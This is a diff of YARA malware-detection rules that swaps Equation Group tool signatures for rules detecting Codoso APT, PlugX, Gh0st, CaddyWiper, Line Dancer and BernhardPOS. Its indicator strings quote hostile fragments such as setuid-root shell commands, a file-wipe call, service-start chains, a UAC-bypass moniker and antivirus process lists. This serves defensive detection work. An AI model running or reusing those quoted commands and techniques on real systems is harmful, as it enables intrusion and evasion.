+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b95d7f56a686a05398198d317c805924c36f3abacbb1b9e3f590ec0d59f845d8"
+		logic_hash = "4f0333de25b9f84ecaa3e63c5f600f53929244cd63a681d21cb78cfe17ca15f9"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6293439b4b49e94f923c76e302f5fc437023c91e063e67877d22333f05a24352"
 
 	strings:
-		$s1 = "A}%j,R" fullword ascii
-		$op1 = { a1 e0 43 41 00 8b 0d 34 44 41 00 6b c0 }
-		$op2 = { 33 C0 F3 A6 74 14 8B 5D 08 8B 4B 34 50 }
+		$s4 = "wnyglw" fullword ascii
+		$s5 = "WorkerRun" fullword ascii
+		$s7 = "boazdcd" fullword ascii
+		$s8 = "wayflw" fullword ascii
+		$s9 = "CODETABL" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
+		uint16(0)==0x5a4d and filesize <405KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Cursehelper_Win2K_I686_V_2_2_0 : FILE
+rule SIGNATURE_BASE_Codoso_PGV_PVID_5 : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Codoso APT PGV PVID Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1c24aa6a-74ab-5832-876b-5cab43dc6bb7"
-		date = "2017-04-09"
+		id = "0202d82c-c1f8-59f7-96b6-b21f21c1dc69"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1084-L1100"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f6c92fc3540750a1223682b1672575b3a3120f5ebf63190a9b31d7e4e5ce13c7"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L192-L208"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e248bada3ac46611bbe2cf1e1afee902191a2c1fb9611c4a052318e5e093b015"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5ac6fde8a06f4ade10d672e60e92ffbf78c4e8db6b5152e23171f6f53af0bfe1"
+		super_rule = 1
+		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash2 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
 
 	strings:
-		$s1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/{}" fullword ascii
-		$op1 = { 8d b5 48 ff ff ff 89 34 24 e8 56 2a 00 00 c7 44 }
-		$op2 = { e9 a2 f2 ff ff ff 85 b4 fe ff ff 8b 95 a8 fe ff }
+		$s1 = "/c del %s >> NUL" fullword ascii
+		$s2 = "%s%s.manifest" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and all of them )
+		uint16(0)==0x5a4d and filesize <500KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Morerats_Client_Addkey : FILE
+rule SIGNATURE_BASE_Codoso_Gh0St_1 : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Codoso APT Gh0st Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a025e379-c24e-56ac-b53c-bd38d51f3437"
-		date = "2017-04-09"
+		id = "24d9e64c-4b35-5737-92ae-8ec391d494c7"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1102-L1117"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ec5b7499e3c3cc6b581c381ae61a4c987691c0d93dd589a5907fd7419335963a"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L209-L247"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "799ae0946464e5b4980f792e525da9eec46aa7844ec977f892a80f58d8b22afd"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6c67c03716d06a99f20c1044585d6bde7df43fee89f38915db0b03a42a3a9f4b"
+		super_rule = 1
+		hash1 = "5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841"
+		hash2 = "7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8"
+		hash3 = "d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297"
 
 	strings:
-		$x1 = "print '  -s storebin  use storebin as the Store executable\\n'" fullword ascii
-		$x2 = "os.system('%s --file=\"%s\" --wipe > /dev/null' % (storebin, b))" fullword ascii
-		$x3 = "print '  -k keyfile   the key text file to inject'" fullword ascii
+		$x1 = "cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s" fullword ascii
+		$x2 = "rundll32.exe \"%s\", RunMeByDLL32" fullword ascii
+		$x3 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
+		$x4 = "\\\\.\\keymmdrv1" fullword ascii
+		$s1 = "spideragent.exe" fullword ascii
+		$s2 = "AVGIDSAgent.exe" fullword ascii
+		$s3 = "kavsvc.exe" fullword ascii
+		$s4 = "mspaint.exe" fullword ascii
+		$s5 = "kav.exe" fullword ascii
+		$s6 = "avp.exe" fullword ascii
+		$s7 = "NAV.exe" fullword ascii
+		$c1 = "Elevation:Administrator!new:" wide
+		$c2 = "Global\\RUNDLL32EXITEVENT_NAME{12845-8654-543}" fullword ascii
+		$c3 = "\\sysprep\\sysprep.exe" wide
+		$c4 = "\\sysprep\\CRYPTBASE.dll" wide
+		$c5 = "Global\\TERMINATEEVENT_NAME{12845-8654-542}" fullword ascii
+		$c6 = "ConsentPromptBehaviorAdmin" fullword ascii
+		$c7 = "\\sysprep" wide
+		$c8 = "Global\\UN{5FFC0C8B-8BE5-49d5-B9F2-BCDC8976EE10}" fullword ascii
 
 	condition:
-		( filesize <20KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <1000KB and (4 of ($s*) or 4 of ($c*)) or 1 of ($x*) or 6 of ($c*)
 }
-rule SIGNATURE_BASE_Equationgroup_Noclient_3_3_2 : FILE
+rule SIGNATURE_BASE_Codoso_PGV_PVID_4 : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Codoso APT PlugX Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "be7c4263-e8e3-5a83-9003-063225e544ff"
-		date = "2017-04-09"
+		id = "c1c753a6-77b6-5bfb-89f9-16127c264fd0"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1119-L1136"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "14b1f135da81fd9a071e0f692bc7f1ab6f6f63d7dd05e1557e5c2d51135727b6"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L248-L275"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f24100c0fe837511ce6144224eda397fed3931072e364f1b5be49c7bb4102aa4"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3cf0eb010c431372af5f32e2ee8c757831215f8836cabc7d805572bb5574fc72"
+		super_rule = 1
+		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash2 = "8a56b476d792983aea0199ee3226f0d04792b70a1c1f05f399cb6e4ce8a38761"
+		hash3 = "b2950f2e09f5356e985c38b284ea52175d21feee12e582d674c0da2233b1feb1"
+		hash4 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
+		hash5 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
 
-	strings:
-		$x1 = "127.0.0.1 is not advisable as a source. Use -l 127.0.0.1 to override this warning" fullword ascii
-		$x2 = "iptables -%c OUTPUT -p tcp -d 127.0.0.1 --tcp-flags RST RST -j DROP;" fullword ascii
-		$x3 = "noclient: failed to execute %s: %s" fullword ascii
-		$x4 = "sh -c \"ping -c 2 %s; grep %s /proc/net/arp >/tmp/gx \"" fullword ascii
-		$s5 = "Attempting connection from 0.0.0.0:" ascii
+	strings:
+		$x1 = "dropper, Version 1.0" fullword wide
+		$x2 = "dropper" fullword wide
+		$x3 = "DROPPER" fullword wide
+		$x4 = "About dropper" fullword wide
+		$s1 = "Microsoft Windows Manager Utility" fullword wide
+		$s2 = "SYSTEM\\CurrentControlSet\\Services\\" ascii
+		$s3 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify" fullword ascii
+		$s4 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"><trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3" ascii
+		$s5 = "<supportedOS Id=\"{e2011457-1546-43c5-a5fe-008deee3d3f0}\"></supportedOS>" fullword ascii
 
 	condition:
-		( filesize <1000KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <900KB and 2 of ($x*) and 2 of ($s*)
 }
-rule SIGNATURE_BASE_Equationgroup_Curseflower_Mswin32_V_1_0_0 : FILE
+rule SIGNATURE_BASE_Codoso_Plugx_1 : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Codoso APT PlugX Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4138f87a-4584-5efc-a168-633838893e2f"
-		date = "2017-04-09"
+		id = "af777818-5cff-5571-b5e9-0f5a4c8b08ff"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1138-L1153"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e70954945b3a5e08e5ae216b16702056b403dbf14391276eae1ed13e8273c1ee"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L276-L294"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "34736c85699a94b1413e5f9934e1a55841e8296df61d558bccf2d477e545d156"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fdc452629ff7befe02adea3a135c3744d8585af890a4301b2a10a817e48c5cbf"
+		super_rule = 1
+		hash1 = "0b8cbc9b4761ab35acce2aa12ba2c0a283afd596b565705514fd802c8b1e144b"
+		hash2 = "448711bd3f689ceebb736d25253233ac244d48cb766834b8f974c2e9d4b462e8"
+		hash3 = "fd22547497ce52049083092429eeff0599d0b11fe61186e91c91e1f76b518fe2"
 
 	strings:
-		$s1 = "<pVt,<et(<st$<ct$<nt" fullword ascii
-		$op1 = { 6a 04 83 c0 08 6a 01 50 e8 10 34 00 00 83 c4 10 }
+		$s1 = "GETPASSWORD1" fullword ascii
+		$s2 = "NvSmartMax.dll" fullword ascii
+		$s3 = "LICENSEDLG" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		uint16(0)==0x5a4d and filesize <800KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Tmpwatch : FILE
+rule SIGNATURE_BASE_Codoso_PGV_PVID_3
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Codoso APT PGV PVID Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2c8cac7a-761f-59f4-bc04-285af4dbe184"
-		date = "2017-04-09"
+		id = "08003dba-1201-5f74-9edd-ea321bb26e99"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1155-L1169"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6fab5100f6ee0bf9a4e13e262c8d47e600f5aad64c7e04fe08fa42a5d78c38e8"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L295-L314"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "371a91b08747b8025baba79797baf9f29487f9c3541f27fc2c2716b531d30b54"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "65ed8066a3a240ee2e7556da74933a9b25c5109ffad893c21a626ea1b686d7c1"
+		super_rule = 1
+		hash1 = "126fbdcfed1dfb31865d4b18db2fb963f49df838bf66922fea0c37e06666aee1"
+		hash2 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash3 = "8a56b476d792983aea0199ee3226f0d04792b70a1c1f05f399cb6e4ce8a38761"
+		hash4 = "b2950f2e09f5356e985c38b284ea52175d21feee12e582d674c0da2233b1feb1"
+		hash5 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
+		hash6 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
 
 	strings:
-		$s1 = "chown root:root /tmp/.scsi/dev/bin/gsh" fullword ascii
-		$s2 = "chmod 4777 /tmp/.scsi/dev/bin/gsh" fullword ascii
+		$x1 = "Copyright (C) Microsoft Corporation.  All rights reserved.(C) 2012" fullword wide
 
 	condition:
-		( filesize <1KB and 1 of them )
+		$x1
 }
-rule SIGNATURE_BASE_Equationgroup_Orleans_Stride_Sunos5_9_V_2_4_0 : FILE
+rule SIGNATURE_BASE_Codoso_PGV_PVID_2 : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Codoso APT PGV PVID Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ec83e1c0-91a9-5f9d-a1d2-94be725bc05a"
-		date = "2017-04-09"
+		id = "e4c00806-3092-5ec2-844f-b638c31fa6a5"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1171-L1186"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1380b22e661926ebb2878d89c80e115a58d0bfc060681a55564c97c1e9f36765"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L315-L337"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7eab3d398b5172127383047de7106a9713ec5b149f8e8ca1506b3382b007f648"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6a30efb87b28e1a136a66c7708178c27d63a4a76c9c839b2fc43853158cb55ff"
+		super_rule = 1
+		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash2 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
+		hash3 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
 
 	strings:
-		$s1 = "_lib_version" ascii
-		$s2 = ",%02d%03d" fullword ascii
-		$s3 = "TRANSIT" fullword ascii
+		$s0 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost" fullword ascii
+		$s1 = "regsvr32.exe /s \"%s\"" fullword ascii
+		$s2 = "Help and Support" fullword ascii
+		$s3 = "netsvcs" fullword ascii
+		$s9 = "%SystemRoot%\\System32\\svchost.exe -k netsvcs" fullword ascii
+		$s10 = "winlogon" fullword ascii
+		$s11 = "System\\CurrentControlSet\\Services" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <200KB and all of them )
+		uint16(0)==0x5a4d and filesize <907KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Morerats_Client_Noprep : FILE
+rule SIGNATURE_BASE_Codoso_PGV_PVID_1 : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Codoso APT PGV PVID Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "27e9e51a-c853-5dcc-97d2-d3d31c5ccfac"
-		date = "2017-04-09"
+		id = "9487773a-01d9-558e-8866-b8a8650996ba"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1188-L1203"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c27815333e05d318bc32d01e755386bc1d1dbfd9f2b92a460fbd0f703e9ba210"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L339-L367"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8cecf96c7732becf83eb900bc36fa44daee466da6b483ea4f8c25ae9aeffcb7b"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a5b191a8ede8297c5bba790ef95201c516d64e2898efaeb44183f8fdfad578bb"
+		super_rule = 1
+		hash1 = "41a936b0d1fd90dffb2f6d0bcaf4ad0536f93ca7591f7b75b0cd1af8804d0824"
+		hash2 = "58334eb7fed37e3104d8235d918aa5b7856f33ea52a74cf90a5ef5542a404ac3"
+		hash3 = "934b87ddceabb2063b5e5bc4f964628fe0c63b63bb2346b105ece19915384fc7"
+		hash4 = "ce91ea20aa2e6af79508dd0a40ab0981f463b4d2714de55e66d228c579578266"
+		hash5 = "e770a298ae819bba1c70d0c9a2e02e4680d3cdba22d558d21caaa74e3970adf1"
 
 	strings:
-		$x1 = "storestr = 'echo -n \"%s\" | Store --nullterminate --file=\"%s\" --set=\"%s\"' % (nopenargs, outfile, VAR_NAME)" fullword ascii
-		$x2 = "The NOPEN-args provided are injected into infile if it is a valid" fullword ascii
-		$x3 = " -i                do not autokill after 5 hours" fullword ascii
+		$x1 = "DRIVERS\\ipinip.sys" fullword wide
+		$s1 = "TsWorkSpaces.dll" fullword ascii
+		$s2 = "%SystemRoot%\\System32\\wiaservc.dll" fullword wide
+		$s3 = "/selfservice/microsites/search.php?%016I64d" fullword ascii
+		$s4 = "/solutions/company-size/smb/index.htm?%016I64d" fullword ascii
+		$s5 = "Microsoft Chart ActiveX Control" fullword wide
+		$s6 = "MSChartCtrl.ocx" fullword wide
+		$s7 = "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}" fullword ascii
+		$s8 = "WUServiceMain" fullword ascii
+		$s9 = "Cookie: pgv_pvid=" ascii
 
 	condition:
-		( filesize <9KB and 1 of them )
+		( uint16(0)==0x5a4d and (1 of ($x*) or 3 of them )) or 5 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Cursezinger_Linuxrh7_3_V_2_0_0 : FILE
+rule SIGNATURE_BASE_MAL_WIPER_Caddywiper_Mar22_1 : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects CaddyWiper malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d4cab478-da1e-54ef-995a-897d1813619e"
-		date = "2017-04-09"
+		id = "83495a0d-a295-5ec7-9761-ce79918e1034"
+		date = "2022-03-15"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1205-L1221"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fa56fe4dd44d266741a3f0b0edfc24660b260c1ade45c23171f22bc43a3bee75"
-		score = 75
+		reference = "https://twitter.com/ESETresearch/status/1503436420886712321?s=20&t=xh8JK6fEmRIrnqO7Ih_PNg"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ua_caddywiper.yar#L2-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0d0278596010953e7068979c92a33dc0ace1bfa94979077412128d1ca756f834"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "af7c7d03f59460fa60c48764201e18f3bd3f72441fd2e2ff6a562291134d2135"
+		hash1 = "1e87e9b5ee7597bdce796490f3ee09211df48ba1d11f6e2f5b255f05cc0ba176"
+		hash2 = "a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea"
+		hash3 = "ea6a416b320f32261da8dafcf2faf088924f99a3a84f7b43b964637ea87aef72"
+		hash4 = "f1e8844dbfc812d39f369e7670545a29efef6764d673038b1c3edd11561d6902"
 
 	strings:
-		$s1 = ",%02d%03d" fullword ascii
-		$s2 = "[%.2u%.2u%.2u%.2u%.2u%.2u]" fullword ascii
-		$s3 = "__strtoll_internal" ascii
-		$s4 = "__strtoul_internal" ascii
+		$op1 = { ff 55 94 8b 45 fc 50 ff 55 f8 8a 4d ba 88 4d ba 8a 55 ba 80 ea 01 }
+		$op2 = { 89 45 f4 83 7d f4 00 74 04 eb 47 eb 45 6a 00 8d 95 1c ff ff ff 52 }
+		$op3 = { 6a 20 6a 02 8d 4d b0 51 ff 95 68 ff ff ff 85 c0 75 0a e9 4e 02 00 00 }
+		$op4 = { e9 67 01 00 00 83 7d f4 05 74 0a e9 5c 01 00 00 e9 57 01 00 00 8d 45 98 50 6a 20 }
 
 	condition:
-		( uint16(0)==0x457f and filesize <400KB and all of them )
+		uint16(0)==0x5a4d and filesize <50KB and 3 of them or all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Seconddate_Implantstandalone_3_0_3 : FILE
+rule SIGNATURE_BASE_Line_Dancer
 {
 	meta:
-		description = "Equation Group hack tool set"
-		author = "Florian Roth (Nextron Systems)"
-		id = "08b1aa88-8731-51db-b659-96147f509bcd"
-		date = "2017-04-09"
-		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1223-L1238"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8d56f471104bfb2ef2bf730e5a8b60c123706f12eb52226895b123b16eed2883"
+		description = "Targets code sections of Line Dancer, a shellcode loader targeting Cisco ASA devices."
+		author = "NCSC"
+		id = "3b49a861-8107-577a-bae1-ae28d424cc13"
+		date = "2024-04-24"
+		modified = "2024-04-29"
+		reference = "https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/line/ncsc-tip-line-dancer.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cisco_asa_line_dancer_apr24.yar#L2-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "179e58274a792bc4a16787d251f5ad25de1271084323e62e153fa6d461e3c07e"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d687aa644095c81b53a69c206eb8d6bdfe429d7adc2a57d87baf8ff8d4233511"
+		tags = ""
 
 	strings:
-		$s1 = "EFDGHIJKLMNOPQRSUT" fullword ascii
-		$s2 = "G8HcJ HcF LcF0LcN" fullword ascii
-		$s3 = "GhHcJ0HcF@LcF0LcN8H" fullword ascii
+		$ = { 48 8D 5E 20 48 8D 3D BB FF FF FF BA 20 00 00 00 }
+		$ = { 4C 89 EE 44 89 F2 48 8D 3D 9A 27 00 00 }
+		$ = { 41 FF D7 41 5F 41 5E 41 5D 41 5C 5B 5D 48 C7 C0 01 00 00 00 5F }
 
 	condition:
-		( uint16(0)==0x457f and filesize <1000KB and all of them )
+		all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Watcher_Solaris_I386_V_3_3_0 : FILE
+rule SIGNATURE_BASE_Bernhardpos
 {
 	meta:
-		description = "Equation Group hack tool set"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e75c6ed9-b6e6-530d-a6ac-40bd0477754f"
-		date = "2017-04-09"
+		description = "BernhardPOS Credit Card dumping tool"
+		author = "Nick Hoffman / Jeremy Humble"
+		id = "9b9e1507-cf1b-5653-beaa-458205e367c3"
+		date = "2015-07-14"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1240-L1256"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "61ded97e99e6bdfe2738c6d73719b3182d970aba8ea9d7cab751349669129de2"
-		score = 75
+		reference = "http://morphick.com/blog/2015/7/14/bernhardpos-new-pos-malware-discovered-by-morphick"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_bernhard_pos.yar#L1-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e49820ef02ba5308ff84e4c8c12e7c3d"
+		logic_hash = "c00f2fda5a391b44767d918945069f18cef084dd4dc6aa94d8f945bf97ac462a"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "395ec2531970950ffafde234dded0cce0c95f1f9a22763d1d04caa060a5222bb"
+		tags = ""
 
 	strings:
-		$s1 = "getexecname" fullword ascii
-		$s2 = "invalid option `" fullword ascii
-		$s6 = "__fpstart" ascii
-		$s12 = "GHFIJKLMNOPQRSTUVXW" fullword ascii
